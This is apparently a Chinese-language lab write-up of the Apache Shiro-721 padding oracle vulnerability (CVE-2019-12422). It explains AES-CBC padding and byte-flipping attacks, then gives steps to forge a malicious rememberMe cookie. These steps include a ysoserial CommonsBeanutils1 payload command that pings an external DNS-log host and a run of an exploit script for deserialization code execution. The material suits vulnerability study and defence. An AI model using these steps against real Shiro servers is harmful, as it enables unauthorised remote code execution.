基础知识
漏洞原理
Apache Shiro RememberMe Cookie默认通过AES-128-CBC
模式加密,这种加密方式容易受到Padding Oracle Attack(Oracle填充攻击)
,利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击.
- AES 是指 “高级加密标准”,是一种对称加密的分组加密算法,128是指密钥长度,CBC是指 “密码分组链接” 加密模式 , PKCS5Padding 是 Apache Shiro 中默认填充方式 , 最后一个明文分组缺少 N 个字节,则填充N个0x0N。
- 在 Apache Shiro 中默认使用 CBC 加密模式与 PKCS5Padding 填充方式,CBC 加密模式容易遭到 Padding Oracle Attack,攻击者可以通过枚举 IV 的方式计算出全部明文,并且可以通过 CBC Byte-Flipping Attack 篡改某一段的明文。
- Padding Oracle Attack 利用前提 :
1、攻击者能够获得密文( CipherText )与附带在密文前面的初始化向量( IV )
2、服务端对密文解密后会判断 Padding 是否有效 . 并根据不同的判定结果返回不同的响应信息。 - CBC Byte-Flipping Attack 利用前提 :
1、明文和密文已知
漏洞复现步骤
1、登录网站并且获取 RememberMe Cookie 值
2、使用 RememberMe Cookie 值来作为 Padding Oracle Attack 的前缀
3、通过 Padding Oracle Attack 的攻击方式精心构造可利用的 YSoSerial
反序列化数据
4、将构造好的反序列化数据填充到 RememberMe Cookie 字段中并发送 , 即可在目标服务器上执行任意代码.
密码学知识
AES算法
Apache Shiro
中使用的AES(高级加密标准)加密算法,就是一种对称加密的分组加密算法。
加解密密钥的长度:一般为128 bits , 即 16 Bytes
分组加密的加密模式:CBC加密模式
加密模式对应的填充方式:Padding填充机制
密码学体制介绍
1、按照密钥特征的不同划分,密码体制可以分为两类 : “对称加密” 和 “非对称加密”
对称加密 : 加密 , 解密过程使用的密钥相同(AES、DES等)
非对称加密 : 加密 , 解密过程使用不同的密钥(RSA、DSA)
2、按照加密方式的不同,密码体制可以分为两类:”分组密码( 块密码 )” 和 “流密码( 序列密码 )”
分组密码( 块密码 ) : 当加密明文时 , 会先将明文编码表示为二进制序列( 明文流 ) , 然后将其分为若干个固定长度的组 , 最后分别对每个组进行加密 , 生成密文流.
分组加密算法中有 5 种可选的加密变换方式( 加密模式 )
1
2
3
4
5ECS ( Electronic Codebook Book , 电话本模式 )
CBC ( Cipher Block Chaining , 密码分组链接模式 )
CTR ( Counter , 计算器模式 )
CFB ( Cipher FeedBack , 密码反馈模式 )
OFB ( Output FeedBack , 输出反馈模式 )
流密码( 序列密码 ) : 当加密明文时 , 会先将明文编码表示为二进制序列( 明文流 ) , 然后由种子密钥生成一个密钥流 , 最后利用加密算法把明文流和密钥流加密,生成密文流.
CBC加密模式
将明文切分成若干小段,然后每一段分别与上一段的密文进行异或运算,再与密钥进行加密,生成本段明文的密文,这段密文用于下一段明文的加密。
第一段明文没有对应的密文,为了确保分组的唯一性,CBC 加密模式使用了初始化向量(IV , Initialization Vector)。初始化向量是一个固定长度的随机数,该向量会作为密文第一个块,随密文一同传输。
在 CBC 模式中,初始化向量(IV)的长度与分组大小相同,为 16 Bytes(128 bits),因为链接模式中的异或操作是等长操作。
Padding 填充机制
Padding填充机制是加密模式下的填充方式,分组加密时,会把明文切割成多个分组,”Padding” 用于在最后一个分组的结尾填充一些额外的 bits , 使分组成为标准的 16 Bytes
CBC 加密模式下可用的Padding方式有 3 个 :
- 1、AES/CBC/NoPadding : 明文长度必须是 8 Bytes 的倍数 , 否则会报错 .
- 2、AES/CBC/PKCS5Padding : 以完整字节填充 , 每个填充字节的值是用于填充的字节数 . 即要填充 N 个字节 , 每个字节都为 N.
举例 : 使用 PKCS5Padding 方式填充 3 个字节 : | AA BB CC DD EE 03 03 03 | - 3、AES/CBC/ISO10126Padding : 以随机字节填充 , 最后一个字节为填充字节的个数 .
举例 : 使用 ISO10126Padding 方式填充 5 个字节 : | AA BB CC A9 3B 78 04 05 |
在 Apache Shiro中,使用的是PKCS5Padding方式。
Padding Oracle Attack( 填充 Oracle 攻击 )
Padding Oracle Attack是一种针对CBC模式分组加密算法的攻击。它可以在不知道密钥(key)的情况下,通过对padding bytes的尝试,还原明文,或者构造出任意明文的密文。
这里的 Oracle 与甲骨文公司没有任何关系。Padding Oracle Attack 也不是针对某一种分组加密算法的攻击,而是针对 CBC加密模式的。
密码学中的 Oracle 是一种通过接收特定加密数据,解密并验证填充是否正确的方式。
CBC Byte-Flipping Attack (CBC字节翻转攻击)
通过Padding Oracle Attack可以在不知道密钥(key)的情况下,获取全部明文的值。
通过CBC Byte-Flipping Attack(CBC字节翻转攻击) 可以实现对明文的篡改。
CBC字节翻转攻击的原理 : 通过损坏密文字节来改变明文字节 。
环境搭建
复现环境: JDK1.8 + Tomcat8 + Shiro-1.4.1 .
首先从 Github 上下载一份 Shrio 源码 , 并切换到存在漏洞的分支( 1.4.1 )
1 | git clone https://github.com/apache/shiro.git |
启动IDEA,配置tomcat(别用最新的版本的tomcat,容易出错)
并设置 samples-web:war 作为 Artifacts
然后启动tomcat
漏洞复现
1、首先通过 YSoSerial 生成可利用的 Payload . 由于之前配置 pom.xml 时没有添加任何组件 , 所以使用 URLDNS Payload 来探测漏洞是否存在
1 | java -jar ysoserial.jar CommonsBeanutils1 "ping milon0.ceye.io" > payload.class |
2、获取一个有效的Remember Cookie
[
[
此处注意删除JSESSIONID,否则后续无法利用
3、通过 Padding Oracle Attack 生成 Evil Rememberme cookie:
注意:此exp爆破时间较长,建议使用 ysoserial
生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。
1 | python shiro_exp.py |
4、使用Evil Rememberme cookie 认证进行反序列化攻击,即可在dnslog平台获取记录。
Reference
[CVE-2019-12422 Shiro721 分析 上 ]